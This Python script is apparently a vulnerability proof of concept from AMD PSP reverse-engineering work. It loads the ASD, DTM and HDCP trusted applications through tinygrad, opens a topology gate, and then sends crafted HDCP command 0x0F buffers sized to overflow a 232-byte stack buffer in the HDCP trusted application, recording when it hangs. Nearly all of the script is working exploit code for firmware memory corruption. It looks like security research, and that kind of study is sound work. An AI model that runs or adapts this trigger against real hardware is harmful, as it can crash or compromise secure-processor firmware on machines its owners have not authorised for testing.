1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
|
"""DEFINITIVE PROOF: minimal display-core bring-up -> HDCP TA stack overflow.
A. WITHOUT display-core: HDCP session open (cmd 0x0E) fails -> ta_ret 17
B. Bring up display-core: DTM TOPOLOGY_UPDATE_V2 -> ASD topology entry ACTIVE
C. WITH display-core: cmd 0x0E succeeds -> ta_ret 0 (gate opened)
D. cmd 0x0F reaches sub_402A88 and executes memcpy(v54[232], ctx+0x55, 5*N)
safe N -> TA returns normally
large N -> write passes v54 -> TA hangs (overflow), sOS survives
"""
import ctypes, struct
from tinygrad import Device
from tinygrad.runtime.autogen.am import am
from tinygrad.helpers import lo32, hi32
d=Device["AMD"]; adev=d.iface.dev_impl; psp=adev.psp
SZ=ctypes.sizeof(am.struct_psp_gfx_cmd_resp)
def stat(): return int.from_bytes(bytes(adev.vram.view(psp.cmd_paddr,SZ)[:])[864:868],"little")
def alloc(n):
pa=adev.mm.palloc(n,align=0x1000,zero=True); return pa,adev.paddr2mc(pa)
P='/Users/user/dev/amd-psp-re/psp_out/'
def load(cmd,blob):
ap,amc=alloc(0x40000); cp,cmc=alloc(0x8000)
adev.vram.view(ap,len(blob))[:]=blob; adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
c=am.struct_psp_gfx_cmd_resp(cmd_id=cmd); t=c.cmd.cmd_load_ta
t.app_phy_addr_hi,t.app_phy_addr_lo=hi32(amc),lo32(amc); t.app_len=len(blob)
t.cmd_buf_phy_addr_hi,t.cmd_buf_phy_addr_lo=hi32(cmc),lo32(cmc); t.cmd_buf_len=0x8000
r=psp._ring_submit(c); return r.resp.session_id,cp
load(am.GFX_CMD_ID_LOAD_ASD, open(P+'asd_full.bin','rb').read())
dtm_sid,dtm_shm = load(am.GFX_CMD_ID_LOAD_TA, open(P+'dtm_full.bin','rb').read())
hdcp_sid,hdcp_shm= load(am.GFX_CMD_ID_LOAD_TA, open(P+'hdcp_full.bin','rb').read())
def inv(sid,shm,buf,tc):
adev.vram.view(shm,0x8000)[:]=bytes(buf); adev.gmc.flush_hdp()
adev.vram.view(psp.cmd_paddr,SZ)[:]=b"\x00"*SZ
ic=am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD); iv=ic.cmd.cmd_invoke_cmd
iv.session_id,iv.ta_cmd_id=sid,tc
try: psp._ring_submit(ic); ps=0
except RuntimeError: ps=stat()
except TimeoutError: return "TIMEOUT",None
return ps, bytes(adev.vram.view(shm,0x2000)[:])
def topo(h):
b=bytearray(0x8000); struct.pack_into('<I',b,0,2)
struct.pack_into('<10I',b,0x10,h,1,1,0,0,0,0,0,0,0)
ps,out=inv(dtm_sid,dtm_shm,b,2); return struct.unpack_from('<I',out,8)[0]
def hdcp(cmd,mut=None):
b=bytearray(0x8000); struct.pack_into('<I',b,0,cmd)
if mut: mut(b)
ps,out=inv(hdcp_sid,hdcp_shm,b,cmd)
if out is None: return "TIMEOUT",None,None
return ps, struct.unpack_from('<I',out,4)[0], out
def open_slot(h=0):
ps,ret,out=hdcp(0x0E, lambda b: struct.pack_into('<I',b,0xC,h))
if out is None: return "TIMEOUT",None
return ret, struct.unpack_from('<I',out,0x1410)[0]
def fire(slot,N):
a3=5*N+25; ln=a3+1
def m(b):
struct.pack_into('<I',b,0xC,slot); struct.pack_into('<I',b,0x10,12)
struct.pack_into('<I',b,0x14,ln)
b[0x28]=12; b[0x29]=0; b[0x2A]=0; b[0x2B]=N&0xFF; b[0x2C]=0
b[0x2F]=0; b[0x30]=0; b[0x31]=0
for k in range(0x32,0x28+ln+1): b[k]=0x41
return hdcp(0x0F,m)
print("="*66)
print("A. BEFORE display-core bring-up")
r,s = open_slot(0)
print(" HDCP cmd 0x0E -> ta_ret=%s (17 = topology query failed, GATE CLOSED)" % r)
print("\nB. BRING UP DISPLAY-CORE (DTM TOPOLOGY_UPDATE_V2 -> ASD topology service)")
for h in range(8):
rr=topo(h)
if h<2: print(" DTM topology handle=%d -> dtm_ret=%s (0 = entry ACTIVE)" % (h,rr))
print("\nC. AFTER display-core bring-up")
r,s = open_slot(0)
print(" HDCP cmd 0x0E -> ta_ret=%s slot=%s (0 = SUCCESS, GATE OPEN)" % (r,s))
print("\nD. OOB: memcpy(v54[232 B], ctx+0x55, 5*N) at 0x402cde")
print(" %-4s %-7s %-9s %-9s %-8s %s" % ("N","5*N","vs 232","ta_ret","sub","sOS"))
dead=False
for N in (20, 40, 46, 52, 56, 70, 90, 103):
r,slot = open_slot(0)
if r != 0:
print(" (slots exhausted / TA dead: 0x0E ret=%s)" % r); dead=True; break
ps,ret,out = fire(slot,N)
s1 = struct.unpack_from('<I',out,0x1424)[0] if out else None
alive = psp.is_sos_alive()
rel = "fits" if 5*N<=232 else "+%d OVER" % (5*N-232)
print(" %-4d %-7d %-9s %-9s %-8s %s" % (N,5*N,rel,ret,s1,alive))
if ret=="TIMEOUT":
print("\n *** OVERFLOW TRIGGERED: TA hung at 5*N=%d (%d bytes past v54) ***" % (5*N,5*N-232))
dead=True; break
print("\nE. POST-CONDITION")
r2,_ = open_slot(0)
print(" HDCP TA responsive after overflow? 0x0E -> %s" % ("NO (dead)" if r2=="TIMEOUT" else "ret=%s"%r2))
print(" sOS alive (TA sandbox held): %s" % psp.is_sos_alive())
|